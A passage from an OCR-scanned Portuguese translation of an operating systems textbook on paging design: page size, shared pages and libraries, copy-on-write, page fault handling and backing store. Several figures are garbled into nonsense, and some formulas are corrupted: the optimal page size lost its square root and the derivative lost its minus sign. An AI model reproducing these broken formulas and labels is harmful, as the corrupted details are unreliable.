Pode levar 64 x 10 ms para carregar 64 páginas de 512 bytes, mas apenas 4 x 12 ms para carregar quatro páginas de 
8 KB. 

Talvez o mais importante seja que páginas pequenas ocupam muito espaço valioso no TLB. Digamos que seu 
programa use 1 MB de memória com um conjunto de trabalho de 64 KB. Com páginas de 4 KB, o programa ocuparia 
pelo menos 16 entradas no TLB. Com páginas de 2 MB, uma única entrada TLB seria suficiente (em teoria, pode ser 
que você queira separar dados e instruções). Como as entradas TLB são escassas e críticas para o desempenho, vale 
a pena usar páginas grandes sempre que possível. Para equilibrar todas essas compensações, os sistemas 
operacionais às vezes usam tamanhos de página diferentes para partes diferentes do sistema. Por exemplo, páginas 
grandes para o kernel e páginas menores para processos de usuário. Na verdade, alguns sistemas operacionais fazem 
de tudo para usar páginas grandes, até mesmo movendo a memória de um processo para encontrar ou criar intervalos 
contíguos de memória adequados para o suporte de uma página grande — um recurso às vezes chamado de páginas 


enormes transparentes. 


Em algumas máquinas, a tabela de páginas deve ser carregada (pelo sistema operacional) nos registradores de 
hardware toda vez que a CPU muda de um processo para outro. 
Nessas máquinas, ter um tamanho de página pequeno significa que o tempo necessário para carregar os registros da 
página aumenta à medida que o tamanho da página diminui. Além disso, o espaço ocupado pela tabela de páginas 
aumenta à medida que o tamanho da página diminui. 
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Este último ponto pode ser analisado matematicamente. Deixe o tamanho médio do processo ser s bytes e o tamanho 
da página ser p bytes. Além disso, suponha que cada entrada de página exija e bytes. O número aproximado de páginas 
necessárias por processo é então s/p, ocupando se /p bytes do espaço de tabela de páginas. A memória desperdiçada na 
última página do processo devido à fragmentação interna é p/2. A sobrecarga total devido à tabela de páginas e à perda de 


fragmentação interna é a soma destes dois termos: 


sobrecarga = se / p + p/2 


O primeiro termo (tamanho da tabela de páginas) é grande quando o tamanho da página é pequeno. O segundo 
termo (fragmentação interna) é grande quando o tamanho da página é grande. O ótimo deve estar em algum ponto 


intermediário. Tomando a primeira derivada em relação a p e igualando-a a zero, obtemos a equação se /p2 + 1/2=0 


A partir desta equação, podemos derivar uma fórmula que fornece o tamanho de página ideal (considerando apenas a 


memória desperdiçada na fragmentação e o tamanho da tabela de páginas). O resultado é: 


p=2se 


Para s = 1 MB e e = 8 bytes por entrada da tabela de páginas, o tamanho de página ideal é 4 KB. 
Os computadores disponíveis comercialmente usam tamanhos de página que variam de 512 bytes a 64 KB. Um valor típico 


costumava ser 1 KB, mas hoje em dia 4 KB é mais comum. 
3.5.5 Espaços de Instrução e Dados Separados 
A maioria dos computadores possui um único espaço de endereço que contém programas e dados, como mostra a 


Figura 3.24(a). Se esse espaço de endereço for grande o suficiente, tudo funcionará bem. No entanto, se for muito pequeno, 


forçará os programadores a ficarem de cabeça para baixo para encaixar tudo no espaço de endereço. 


Espaço de 
endereço único Eu espaço Espaço D 
, 232 
> Página não utilizada 
Dados 4 
Dados 
Programa 4 PSA Programa 4 SSI 
ESSES SS 
“hr do do da do do do a 


(b) 
Figura 3-24. (a) Um espaço de endereço. (b) Espaços | e D separados. 


Uma solução, pioneira no PDP-11 (16 bits), é ter espaços de endereço separados para instruções (texto do programa) 
e dados, chamados espaço | e espaço D, 
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respectivamente, conforme ilustrado na Figura 3.24(b). Cada espaço de endereço vai de 0 a algum 

máximo, normalmente 216 1 ou 232 1. O vinculador deve saber quando espaços | e D separados estão sendo 
usados, porque quando isso acontece, os dados são realocados para o endereço virtual O em vez de serem 
iniciados após o programa. 

Num computador com este tipo de design, ambos os espaços de endereço podem ser paginados, 
independentemente um do outro. Cada um tem sua própria tabela de páginas, com seu próprio mapeamento 
de páginas virtuais para quadros de páginas físicas. Quando o hardware deseja buscar um 
instrução, ele sabe que deve usar o I-space e a tabela de páginas do I-space. De forma similar, 
os dados devem passar pela tabela de páginas do espaço D. Além desta distinção, tendo 
Espaços | e D separados não introduzem nenhuma complicação especial para o sistema operacional e dobram 
o espaço de endereço disponível. 

Embora os espaços de endereço hoje em dia sejam grandes, seus tamanhos costumavam ser um 
problema sério. Ainda hoje, porém, espaços | e D separados ainda são comuns. No entanto, 
em vez de para os espaços de endereço normais, eles agora são usados para dividir o L1 
cache. Afinal, no cache L1 a memória ainda é bastante escassa. Na verdade, em alguns 


processadores, descobrimos até que, nos bastidores, o TLB também é particionado em L1 e 
L2 e L1 TLB são ainda divididos em um TLB para instruções e um TLB para dados. 


3.5.6 Páginas Compartilhadas 


Outro problema de design é o compartilhamento. Em um grande sistema de multiprogramação, é 
comum que vários usuários executem o mesmo programa ao mesmo tempo. Mesmo um 
um único usuário pode estar executando vários programas que usam a mesma biblioteca. É claramente 
mais eficiente compartilhar as páginas, para evitar ter duas cópias da mesma página em 
memória ao mesmo tempo. Um problema é que nem todas as páginas são compartilháveis. Em particular, 
páginas somente leitura, como textos de programas, podem ser compartilhadas, mas para dados 
o compartilhamento de páginas é mais complicado. 

Se espaços | e D separados forem suportados, é relativamente simples 
compartilhar programas fazendo com que dois ou mais processos usem a mesma tabela de páginas para seus 
Espaço l, mas tabelas de páginas diferentes para seus espaços D. Normalmente em uma implementação 
que suporta o compartilhamento dessa forma, as tabelas de páginas são estruturas de dados independentes do 
tabela de processos. Cada processo tem então dois ponteiros em sua tabela de processos: um para a tabela 
de páginas do espaço | e outro para a tabela de páginas do espaço D, como mostrado na Figura 3.25. Quando 
o escalonador escolhe um processo para ser executado, ele usa esses ponteiros para localizar as tabelas de 
páginas apropriadas e configura o MMU usando-as. Mesmo sem espaços | e D separados, os processos 
podem compartilhar programas (ou às vezes, bibliotecas), mas o mecanismo 
é mais complicado. 

Quando dois ou mais processos compartilham algum código, ocorre um problema com as páginas 
compartilhadas. Suponha que os processos A e B estejam executando o editor e compartilhando 
suas páginas. Se o escalonador decidir remover A da memória, despejando todas as suas páginas 
e preencher os quadros de página vazios com algum outro programa fará com que B gere um grande número 
de falhas de página para trazê-los de volta. 
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Tabela de 


processos 


ESSA 
EEEE 


SS 


SS 


Programa Dados 1 Dados 2 


[O ———————À 


Tabelas de páginas 


Figura 3-25. Dois processos compartilhando o mesmo programa compartilhando suas tabelas de páginas. 


Da mesma forma, quando A termina, é essencial descobrir que as páginas ainda estão em uso, para 
que seu espaço de armazenamento não volátil não seja liberado acidentalmente. Pesquisar todas as 
tabelas de páginas para ver se uma página é compartilhada geralmente é muito caro, portanto, são 
necessárias estruturas de dados especiais para controlar as páginas compartilhadas, especialmente se a 
unidade de compartilhamento for a página individual (ou série de páginas), em vez de uma unidade de 
compartilhamento. tabela de página inteira. 

Compartilhar dados é mais complicado do que compartilhar código, mas não é impossível. Em 
particular, no UNIX, após uma chamada de sistema fork , o pai e o filho são obrigados a compartilhar o 
texto e os dados do programa. Em um sistema paginado, o que geralmente é feito é dar a cada um desses 
processos sua própria tabela de páginas e fazer com que ambos apontem para o mesmo conjunto de 
páginas. Assim, nenhuma cópia de páginas é feita no momento da bifurcação . No entanto, todas as 
páginas de dados são mapeadas em ambos os processos como SOMENTE LEITURA. 

Desde que ambos os processos apenas leiam os seus dados, sem modificá-los, esta situação pode 
continuar. Assim que um dos processos atualiza uma palavra de memória, a violação da proteção somente 
leitura causa uma armadilha no sistema operacional. Uma cópia é então feita da página ofensiva para que 
cada processo tenha agora sua própria cópia privada. 

Ambas as cópias agora estão definidas como READ/WRITE, portanto, as gravações subsequentes em 
qualquer uma das cópias continuam sem interceptação. Esta estratégia significa que as páginas que 
nunca são modificadas (incluindo todas as páginas do programa) não precisam ser copiadas. Somente as 
páginas de dados realmente modificadas precisam ser copiadas. Essa abordagem, chamada de cópia na 
gravação, melhora o desempenho reduzindo a cópia. 
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3.5.7 Bibliotecas Compartilhadas 


O compartilhamento pode ser feito em outras granularidades além de páginas individuais. Se um 
programa for iniciado duas vezes, a maioria dos sistemas operacionais compartilhará automaticamente todas 
as páginas de texto, de modo que apenas uma cópia fique na memória. As páginas de texto são sempre 
somente leitura, então não há problema aqui. Dependendo do sistema operacional, cada processo pode 
obter sua própria cópia privada das páginas de dados ou elas podem ser compartilhadas e marcadas como somente leitura. 
Caso algum processo modifique uma página de dados, será feita uma cópia privada da mesma, ou seja, será 
aplicada cópia na escrita. 
Em sistemas modernos, existem muitas bibliotecas grandes usadas por muitos processos, por exemplo, 
múltiplas E/S e bibliotecas gráficas. Vincular estaticamente todas essas bibliotecas a todos os programas 
executáveis em armazenamento não volátil os tornaria ainda mais inchados do que já estão. 


Em vez disso, uma técnica comum é usar bibliotecas compartilhadas (que são chamadas de DLLs 
ou Dynamic Link Libraries no Windows). Para deixar clara a ideia de uma biblioteca compartilhada, 


D 


considere primeiro a vinculação tradicional. Quando um programa é vinculado, um ou mais arquivos-objeto 
possivelmente algumas bibliotecas são nomeados no comando para o vinculador, como o comando UNIX 


Id *.0 “le —Im 


que vincula todos os arquivos .o (objeto) no diretório atual e, em seguida, verifica duas bibliotecas, /usr/lib/ 
libc.a e /usr/lib/libm.a. Quaisquer funções chamadas nos arquivos-objeto, mas não presentes neles (por 
exemplo, printf), são chamadas de externas indefinidas e são procuradas nas bibliotecas. Se forem 
encontrados, serão incluídos no binário executável. Quaisquer funções que eles chamam, mas ainda não 
estão presentes, também se tornam externas indefinidas. 

Por exemplo, printf precisa de gravação, portanto, se a gravação ainda não estiver incluída, o vinculador irá 
procurá-la e incluí-la quando encontrada. Quando o vinculador é concluído, um arquivo binário executável é 
gravado no armazenamento não volátil contendo todas as funções necessárias. Funções presentes nas 
bibliotecas, mas não chamadas, não são incluídas. Quando o programa é carregado na memória e executado, 
todas as funções necessárias estão lá e as funções desnecessárias não estão lá. 


Agora, suponha que programas comuns usem de 20 a 50 MB de gráficos e funções de interface de 
usuário. Vincular estaticamente centenas de programas a todas essas bibliotecas desperdiçaria uma 
quantidade significativa de espaço em armazenamento não volátil, bem como desperdiçaria espaço na RAM 
quando eles fossem carregados, já que o sistema não teria como saber que poderia compartilhá-los. É aqui 
que entram as bibliotecas compartilhadas. Quando um programa é vinculado a bibliotecas compartilhadas 
(que são ligeiramente diferentes das estáticas), em vez de incluir a função real chamada, o vinculador inclui 
uma pequena rotina stub que se liga à função chamada em tempo de execução. Dependendo do sistema e 
dos detalhes da configuração, as bibliotecas compartilhadas são carregadas quando o programa é carregado 
ou quando as funções nelas contidas são chamadas pela primeira vez. É claro que, se outro programa já 
carregou a biblioteca compartilhada, não há necessidade de carregá-la novamente — esse é o objetivo. 
Observe que quando uma biblioteca compartilhada é carregada ou usada, todo o 
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biblioteca não é lida na memória de uma só vez. É paginado, página por página, como 
necessário, portanto as funções que não são chamadas não serão trazidas para a RAM. 

Além de diminuir o tamanho dos arquivos executáveis e também economizar espaço na memória, 
as bibliotecas compartilhadas têm outra vantagem importante: se uma função em um arquivo compartilhado 
biblioteca é atualizada para remover um bug, não é necessário recompilar os programas 
isso chama. Os binários antigos continuam funcionando. Este recurso é especialmente importante 
para software comercial, onde o código-fonte não é distribuído ao cliente. 
Por exemplo, se a Microsoft encontrar e corrigir um erro de segurança em alguma DLL padrão, 
O Windows Update baixará a nova DLL e substituirá a antiga, e todos os programas que usam a DLL 
usarão automaticamente a nova versão na próxima vez que usarem. 
são lançados. 

Bibliotecas compartilhadas apresentam um pequeno problema que precisa ser resolvido: 
no entanto. O problema é ilustrado na Figura 3-26. Aqui vemos dois processos compartilhando uma 
biblioteca de tamanho 20 KB (assumindo que cada caixa tenha 4 KB). No entanto, a biblioteca é 
localizado em um endereço diferente em cada processo, provavelmente porque os programas 
eles próprios não são do mesmo tamanho. No processo 1, a biblioteca inicia no endereço 36K; em 
processo 2 começa em 12K. Suponha que a primeira coisa que a primeira função no 
biblioteca tem que fazer é pular para o endereço 16 na biblioteca. Se a biblioteca não fosse compartilhada, 
ele poderia ser realocado instantaneamente à medida que era carregado, para que o salto (no processo 1) 
poderia ser o endereço virtual 36K + 16. Observe que o endereço físico na RAM 
onde a biblioteca está localizada não importa, pois todas as páginas são mapeadas a partir 
endereços virtuais para físicos pelo hardware MMU. 


12K 


Processo 1 BATER Processo 2 


Figura 3-26. Uma biblioteca compartilhada sendo usada por dois processos. 


No entanto, como a biblioteca é compartilhada, a realocação imediata não funcionará. Depois 
tudo, quando a primeira função é chamada pelo processo 2 (no endereço 12K), o salto 
a instrução tem que ir para 12K + 16, não para 36K + 16. Esse é o pequeno problema. Um 
Uma maneira de resolver isso é usar copy on write e criar novas páginas para cada processo 
compartilhando a biblioteca, realocando-as rapidamente à medida que são criadas, mas esse esquema 
anula o propósito de compartilhar a biblioteca, é claro. 
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Uma solução melhor é compilar bibliotecas compartilhadas com um sinalizador de compilador especial informando 
ao compilador para não produzir nenhuma instrução que use endereços absolutos. 
Em vez disso, apenas instruções que usam endereços relativos são usadas. Por exemplo, há 
quase sempre uma instrução que diz avançar (ou retroceder) n bytes (como 
em oposição a uma instrução que fornece um endereço específico para o qual saltar). Esta instrução 
funciona corretamente, não importa onde a biblioteca compartilhada esteja colocada no endereço virtual 
espaço. Evitando endereços absolutos, o problema pode ser resolvido. Código que usa 


apenas deslocamentos relativos são chamados de código independente de posição. 
3.5.8 Arquivos Mapeados 


Bibliotecas compartilhadas são, na verdade, um caso especial de um recurso mais geral chamado arquivos 
mapeados na memória. A idéia aqui é que um processo possa emitir uma chamada de sistema para mapear um 
arquivo em uma parte de seu espaço de endereço virtual. Na maioria das implementações, nenhuma página 
são trazidos no momento do mapeamento, mas à medida que as páginas são tocadas, elas são 
demanda paginada uma página por vez, usando o arquivo em armazenamento não volátil como o 
loja de apoio. Quando o processo termina ou desmapeia explicitamente o arquivo, todas as páginas modificadas são 
gravadas de volta no arquivo no disco ou SSD. 

Os arquivos mapeados fornecem um modelo alternativo para E/S. Em vez de fazer leituras e 
escreve, o arquivo pode ser acessado como uma grande matriz de caracteres na memória. Em algumas situações, os 
programadores consideram este modelo mais conveniente. 

Se dois ou mais processos forem mapeados no mesmo arquivo ao mesmo tempo, eles poderão 
comunicar através da memória compartilhada. As escritas feitas por um processo na memória compartilhada são 
imediatamente visíveis quando o outro lê a parte de sua memória virtual. 
espaço de endereço mapeado no arquivo. Este mecanismo fornece, portanto, um canal de alta largura de banda entre 
processos e é frequentemente usado como tal (até mesmo na extensão de 
mapeando um arquivo de rascunho). Agora deve ficar claro que se os arquivos mapeados na memória forem 
disponíveis, bibliotecas compartilhadas podem usar esse mecanismo. 


3.6 QUESTÕES DE IMPLEMENTAÇÃO 


Os implementadores de sistemas de memória virtual precisam fazer escolhas entre os 
algoritmos teóricos importantes, como segunda chance versus envelhecimento, alocação de página local versus global 
e paginação por demanda versus pré-paginação. Mas eles também têm que ser 
também há uma série de questões práticas de implementação. Nesta seção, nós 


daremos uma olhada em alguns dos problemas comuns e algumas soluções. 
3.6.1 Envolvimento do sistema operacional com paginação 
Há quatro momentos em que o sistema operacional tem trabalho relacionado à paginação: 


tempo de criação do processo, tempo de execução do processo, tempo de falha de página e tempo de término do 


processo. Examinaremos agora brevemente cada um deles para ver o que deve ser feito. 
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Quando um novo processo é criado em um sistema de paginação, o sistema operacional deve 
determinar o tamanho do programa e dos dados (inicialmente) e criar uma tabela de páginas para eles. O 
espaço deve ser alocado na memória para a tabela de páginas e ela deve ser inicializada. A tabela de 
páginas não precisa ser residente quando o processo é trocado, mas deve estar na memória quando o 
processo estiver em execução. Além disso, o espaço deve ser alocado na área de troca no armazenamento 
não volátil para que, quando uma página for trocada, ela tenha algum lugar para ir. A área de troca também 
deve ser inicializada com texto e dados do programa para que quando o novo processo começar a 
apresentar falhas de página, as páginas possam ser trazidas. Alguns sistemas paginam o texto do programa 
diretamente do arquivo executável, economizando espaço em disco ou SSD e tempo de inicialização. 
Finalmente, as informações sobre a tabela de páginas e a área de troca no armazenamento não volátil 
devem ser registradas na tabela de processos. 


Quando um processo é agendado para execução, o MMU deve ser redefinido para o novo processo. 
Além disso, a menos que as entradas no TLB sejam explicitamente marcadas com um identificador para os 
processos aos quais pertencem (usando os chamados TLBs marcados), o TLB deve ser liberado para 
eliminar vestígios do processo em execução anteriormente. 

Afinal, não queremos que um acesso à memória em um processo toque erroneamente no quadro da página 
de outro processo. Além disso, a tabela de páginas do novo processo deve ser atualizada, geralmente 
copiando-a ou um ponteiro para ela em algum(s) registro(s) de hardware. Opcionalmente, algumas ou 
todas as páginas do processo podem ser trazidas para a memória para reduzir inicialmente o número de 
falhas de página (por exemplo, é certo que a página apontada pelo contador do programa será necessária). 


Quando ocorre uma falha de página, o sistema operacional precisa ler os registros de hardware para 
determinar qual endereço virtual causou a falha. A partir dessas informações, ele deve calcular qual página 
é necessária e localizar essa página no armazenamento não volátil. Ele deve então encontrar um quadro 
de página disponível para colocar a nova página, expulsando alguma página antiga, se necessário. Em 
seguida, ele deve ler a página necessária no quadro da página. Finalmente, ele deve fazer backup do 
contador do programa para que ele aponte para a instrução com falha e permitir que essa instrução seja 
executada novamente. 

Quando um processo é encerrado, o sistema operacional deve liberar sua tabela de páginas, suas 
páginas e o espaço de armazenamento não volátil que as páginas ocupam quando estão em disco ou SSD. 
Se algumas das páginas forem compartilhadas com outros processos, as páginas na memória e no 
armazenamento não volátil poderão ser liberadas somente quando o último processo que as utilizou tiver 
terminado. 


3.6.2 Tratamento de falhas de página 


Finalmente estamos em condições de descrever em detalhes o que acontece em uma falha de página. 
Um pouco simplificado, a sequência de eventos é a seguinte: 


1. O hardware é interceptado no kernel, salvando o contador do programa na pilha. Na maioria 
das máquinas, algumas informações sobre o estado da instrução atual são salvas em 


registros especiais da CPU. 
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2. Uma rotina de serviço de interrupção em código assembly é iniciada para salvar os 
registros e outras informações voláteis, para evitar que o sistema operacional as 
destrua. Em seguida, ele chama o manipulador de falhas de página. 


3. O sistema operacional tenta descobrir qual página virtual é necessária. 
Frequentemente, um dos registros de hardware contém essas informações. Caso 
contrário, o sistema operacional deverá recuperar o contador do programa, buscar a 


instrução e analisá-la no software para descobrir o que estava fazendo quando a falha 
ocorreu. 


4. Uma vez conhecido o endereço virtual que causou a falha, o sistema verifica se esse 
endereço é válido e se a proteção é consistente com o acesso. Caso contrário, o 
processo recebe um sinal ou é eliminado. Se o endereço for válido e não tiver ocorrido 
nenhuma falha de proteção, o sistema verifica se um quadro de página está livre. Se 
nenhum quadro estiver livre, o algoritmo de substituição de página é executado para 
selecionar uma vítima. 


5. Se o quadro de página selecionado estiver sujo, a página será agendada para 
transferência para armazenamento não volátil e uma troca de contexto ocorrerá, 
suspendendo o processo com falha e deixando outro ser executado até que a 
transferência do disco ou SSD seja concluída. Em qualquer caso, o quadro é marcado 
como ocupado para evitar que seja utilizado para outra finalidade. 


6. Assim que o quadro da página estiver limpo (imediatamente ou depois de ser gravado 
no armazenamento não volátil), o sistema operacional procura o endereço do disco 
onde está a página necessária e agenda uma operação de disco ou SSD para trazê- 
la. Enquanto a página está sendo carregada, o processo com falha ainda é suspenso 
e outro processo do usuário é executado, se houver algum disponível. 


7. Quando a interrupção do disco ou SSD indica que a página chegou, as tabelas de 
páginas são atualizadas para refletir sua posição e o quadro é marcado como estando 
no estado normal. 


8. A instrução com falha é copiada para o estado em que se encontrava quando foi iniciada 
e o contador do programa é redefinido para apontar para essa instrução. 


9. O processo de falha é agendado e o sistema operacional retorna à rotina (em linguagem 
assembly) que o chamou. 


10. Esta rotina recarrega os registradores e outras informações de estado e retorna ao 
espaço do usuário para continuar a execução de onde parou. 


3.6.3 Backup de instruções 


Até agora, dissemos simplesmente que quando um programa faz referência a uma página que 
não está na memória, a instrução que causa a falha é interrompida no meio e ocorre uma armadilha 
no sistema operacional. Depois que o sistema operacional tiver buscado a página necessária, ele 
deverá reiniciar a instrução que causou a interceptação. Isto é mais fácil dizer do que fazer. 
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Para ver a pior natureza desse problema, considere uma CPU que possui instruções 
com dois endereços, como o Motorola 680x0, amplamente utilizado em sistemas embarcados. 
A instrução 


MOV.L #6(A1),2(A0) 


é de 6 bytes, por exemplo (veja a Figura 3-27). Para reiniciar a instrução, o sistema 
operacional deve determinar onde está o primeiro byte da instrução. O valor do contador do 
programa no momento do trap depende de qual operando falhou e de como o microcódigo da 
CPU foi implementado. 


MOVE.L H6(A1), 2(AO) 


pe tobiis — 5] 
1000 MOVER Código de operação 


Figura 3-27. Uma instrução que causa uma falha de página. 


Na Figura 3-27, temos uma instrução começando no endereço 1000 que faz três 
referências à memória: a palavra de instrução e dois deslocamentos para os operandos. 
Dependendo de qual dessas três referências de memória causou a falha de página, o 
contador do programa pode ser 1.000, 1.002 ou 1.004 no momento da falha. Muitas vezes é 
impossível para o sistema operacional determinar inequivocamente onde a instrução começou. 
Se o contador do programa for 1002 no momento da falha, o sistema operacional não terá 
como dizer se a palavra em 1002 é um endereço de memória associado a uma instrução em 
1000 (por exemplo, o endereço de um operando) ou um código de operação. 

Por pior que seja esse problema, poderia ter sido pior. Alguns modos de endereçamento 
680x0 usam incremento automático, o que significa que um efeito colateral da execução da 
instrução é incrementar um (ou mais) registradores. Instruções que usam o modo de 
incremento automático também podem falhar. Dependendo dos detalhes do microcódigo, o 
incremento pode ser feito antes da referência à memória, caso em que o sistema operacional 
deve decrementar o registro no software antes de reiniciar a instrução. Ou o autoincremento 
pode ser feito após a referência à memória, caso em que não terá sido feito no momento do 
trap e não deve ser desfeito pelo sistema operacional. O modo de autodecremento também 
existe e causa um problema semelhante. Os detalhes precisos sobre se autoincrementos e 
autodecrementos foram ou não feitos antes das referências de memória correspondentes 


podem diferir de instrução para instrução e de modelo de CPU para modelo de CPU. 


Felizmente, em algumas máquinas, os projetistas da CPU fornecem uma solução, 
geralmente na forma de um registro interno oculto no qual o contador do programa é copiado 
logo antes de cada instrução ser executada. Essas máquinas também podem ter um segundo 
registro informando quais registros já foram autoincrementados ou autodecrementados e em 
quanto. Dadas essas informações, o sistema operacional pode 
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desfazer inequivocamente todos os efeitos da instrução com falha para que ela possa ser 
reiniciada. Se esta informação não estiver disponível, o sistema operacional terá que se esforçar 


para descobrir o que aconteceu e como repará-lo. O problema poderia ter sido resolvido no 
hardware, mas isso tornaria o hardware mais caro, então decidiu-se deixar isso para o software. 


3.6.4 Bloqueando páginas na memória 


Embora não tenhamos discutido muito a E/S neste capítulo, o fato de um computador 
possuir memória virtual não significa que a E/S esteja ausente. A memória virtual e a E/S 
interagem de maneiras sutis. Considere um processo que acaba de emitir uma chamada de 
sistema para ler algum arquivo ou dispositivo em um buffer dentro de seu espaço de endereço. 
Enquanto aguarda a conclusão da E/S, o processo é suspenso e outro processo pode ser 
executado. Este outro processo recebe uma falha de página. 

Se o algoritmo de paginação for global, há uma chance pequena, mas diferente de zero, de 
que a página que contém o buffer de E/S seja escolhida para ser removida da memória. Se um 
dispositivo de E/S estiver atualmente no processo de transferência DMA para aquela página, 
removê-lo fará com que parte dos dados sejam gravados no buffer ao qual pertencem, e parte 
dos dados serão gravados no apenas página carregada. Uma solução para esse problema é 
bloquear as páginas envolvidas em E/S na memória para que não sejam removidas. 

Bloquear uma página geralmente é chamado de fixá- la na memória. Outra solução é fazer todas 
as E/S nos buffers do kernel e depois copiar os dados para as páginas do usuário. No entanto, 
isso requer uma cópia extra e, portanto, torna tudo mais lento. 


3.6.5 Armazenamento de apoio 


Em nossa discussão sobre algoritmos de substituição de páginas, vimos como uma página 
é selecionada para remoção. Não falamos muito sobre onde ele é colocado no armazenamento 
não volátil quando é paginado. Vamos agora descrever alguns dos problemas relacionados ao 
gerenciamento de disco/SSD. 

O algoritmo mais simples para alocar espaço de página em armazenamento não volátil é ter 
uma partição swap especial no disco ou, melhor ainda, em um dispositivo de armazenamento 
separado do sistema de arquivos (para equilibrar a carga de E/S). Os sistemas UNIX 
tradicionalmente funcionam assim. Esta partição não possui um sistema de arquivos normal, o 
que elimina toda a sobrecarga de conversão de deslocamentos em arquivos para endereços de 
bloco. Em vez disso, os números de bloco relativos ao início da partição são usados por toda parte. 

Quando o sistema é inicializado, esta partição swap fica vazia e é representada na memória 
como uma única entrada fornecendo sua origem e tamanho. No esquema mais simples, quando 
o primeiro processo é iniciado, um pedaço da área de partição do tamanho do primeiro processo 
é reservado e a área restante é reduzida nessa quantidade. À medida que novos processos são 
iniciados, eles recebem pedaços da partição swap iguais em tamanho às suas imagens principais. 
Ao terminarem, seu espaço de armazenamento é liberado. A partição swap é gerenciada como 
uma lista de pedaços livres. Algoritmos melhores serão discutidos no Cap. 10. 
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Associado a cada processo está o endereço de armazenamento não volátil de sua área de 
swap, ou seja, onde na partição swap é guardada sua imagem. Essas informações são mantidas 
na tabela de processos. Calcular o endereço para escrever uma página torna-se simples: basta 
adicionar o deslocamento da página dentro do espaço de endereço virtual ao início da área de 
troca. Entretanto, antes que um processo possa ser iniciado, a área de troca deve ser inicializada. 
Uma maneira é copiar toda a imagem do processo para a área de troca, para que ela possa ser 
trazida conforme necessário. A outra é carregar todo o processo na memória e deixá-lo ser 
paginado conforme necessário. 

No entanto, este modelo simples tem um problema: os processos podem aumentar de 
tamanho após serem iniciados. Embora o texto do programa geralmente seja fixo, a área de 
dados às vezes pode crescer e a pilha sempre pode crescer. Consequentemente, pode ser 
melhor reservar áreas de troca separadas para texto, dados e pilha e permitir que cada uma 
dessas áreas consista em mais de um pedaço no armazenamento não volátil. 

O outro extremo é não alocar nada antecipadamente e alocar espaço em armazenamento 
não volátil para cada página quando ela for trocada e desalocá-la quando for trocada novamente. 
Dessa forma, os processos na memória não ocupam nenhum espaço de troca. 

A desvantagem é que é necessário um endereço de disco na memória para controlar cada página 
no armazenamento não volátil. Em outras palavras, deve haver uma tabela por processo 
informando para cada página do armazenamento não volátil onde ela está. As duas alternativas 
são mostradas na Figura 3.28. 


Memória principal Disco Memória principal Disco 


Páginas 


[o ] Área de troca 


Páginas 


Área de troca 


[e] 


Tabela 


de páginas 


4 


(a) (b) 


Figura 3-28. (a) Paginação para uma área de troca estática. (b) Fazer backup de páginas dinamicamente. 


Na Figura 3.28(a), é mostrada uma tabela de páginas com oito páginas. As páginas 0, 3, 4 e 
6 estão na memória principal. As páginas 1, 2, 5 e 7 estão no disco. A área de troca no disco é 
tão grande quanto o espaço de endereço virtual do processo (oito páginas), com cada página 
tendo um local fixo no qual é gravada quando é expulsa da memória principal. O cálculo deste 
endereço requer saber apenas onde começa a área de paginação do processo, pois 
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as páginas são armazenadas nele de forma contígua na ordem de seu número de página virtual. Uma 
página que está na memória sempre possui uma cópia de sombra no disco, mas essa cópia pode estar 
desatualizada se a página tiver sido modificada desde o carregamento. As páginas sombreadas na memória 
indicam páginas não presentes na memória. As páginas sombreadas no disco são (em princípio) substituídas 
pelas cópias na memória, embora se uma página de memória tiver que ser trocada de volta para o disco e 
não tiver sido modificada desde que foi carregada, a cópia do disco (sombreada) será usada . 


Na Figura 3.28(b), as páginas não possuem endereços fixos no disco. Quando uma página é trocada, 
uma página de disco vazia é escolhida imediatamente e o mapa de disco (que tem espaço para um endereço 
de disco por página virtual) é atualizado de acordo. Uma página na memória não possui cópia no disco. As 
entradas das páginas no mapa de disco contêm um endereço de disco inválido ou um bit que as marca 
como não em uso. 

Ter uma partição swap fixa nem sempre é possível. Por exemplo, nenhuma partição de disco ou SSD 
pode estar disponível. Nesse caso, um ou mais arquivos grandes e pré-alocados no sistema de arquivos 
normal podem ser usados. O Windows usa essa abordagem. No entanto, uma otimização pode ser usada 
aqui para reduzir a quantidade de espaço de armazenamento não volátil necessário. Como o texto do 
programa de cada processo veio de algum arquivo (executável) no sistema de arquivos, o arquivo executável 
pode ser usado como área de troca. Melhor ainda, como o texto do programa geralmente é somente leitura, 
quando a memória está apertada e as páginas do programa precisam ser removidas da memória, elas são 
simplesmente descartadas e lidas novamente a partir do arquivo executável quando necessário. Bibliotecas 
compartilhadas também podem funcionar dessa forma. 


3.6.6 Separação entre Política e Mecanismo 


Um princípio importante para gerir a complexidade de qualquer sistema é separar a política do 
mecanismo. Ilustraremos como esse princípio pode ser aplicado ao gerenciamento de memória fazendo 
com que a maior parte do gerenciador de memória seja executada como um processo em nível de usuário 
— uma separação que foi feita pela primeira vez em Mach (Young et al., 1987) na qual baseamos a discussão 
abaixo. . 

Um exemplo simples de como a política e o mecanismo podem ser separados é mostrado em 
Figura 3-29. Aqui o sistema de gerenciamento de memória é dividido em três partes: 


1. Um manipulador MMU de baixo nível. 


2. Um manipulador de falhas de página que faz parte do kernel. 
3. Um pager externo em execução no espaço do usuário. 


Todos os detalhes de como o MMU funciona estão encapsulados no manipulador MMU, que é um código 
dependente da máquina e deve ser reescrito para cada nova plataforma para a qual o sistema operacional 
é portado. O manipulador de falha de página é um código independente da máquina e contém a maior parte 
do mecanismo de paginação. A política é largamente determinada pelo pager externo, que funciona como 
um processo de usuário. 

Quando um processo é iniciado, o pager externo é notificado para configurar o mapa de páginas do 
processo e alocar o armazenamento de apoio necessário no armazenamento não volátil 
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3. Página de solicitação 
Memória principal 
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Do utilizador Do utilizador 
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ar 
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é página 
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do kernel 6. Página 


do mapa em 


Figura 3-29. Tratamento de falhas de página com um pager externo. 


se necessário. À medida que o processo é executado, ele pode mapear novos objetos em seu espaço de endereço, 
de modo que o pager externo seja notificado novamente. 

Assim que o processo começar a ser executado, poderá ocorrer uma falha de página. O manipulador de 
falhas descobre qual página virtual é necessária e envia uma mensagem ao pager externo, informando o problema. 
O pager externo então lê a página necessária do armazenamento não volátil e a copia para uma parte de seu próprio 
espaço de endereço. Em seguida, ele informa ao manipulador de falhas onde está a página. O manipulador de 
falhas então desmapeia a página do espaço de endereço do pager externo e pede ao manipulador MMU para colocá- 


la no espaço de endereço do usuário no lugar certo. Então o processo do usuário pode ser reiniciado. 


Esta implementação deixa em aberto onde o algoritmo de substituição de página é colocado. 
Seria mais limpo tê-lo no pager externo, mas existem alguns problemas com esta abordagem. A principal delas é 
que o pager externo não tem acesso aos bits Re M de todas as páginas. Esses bits desempenham um papel em 
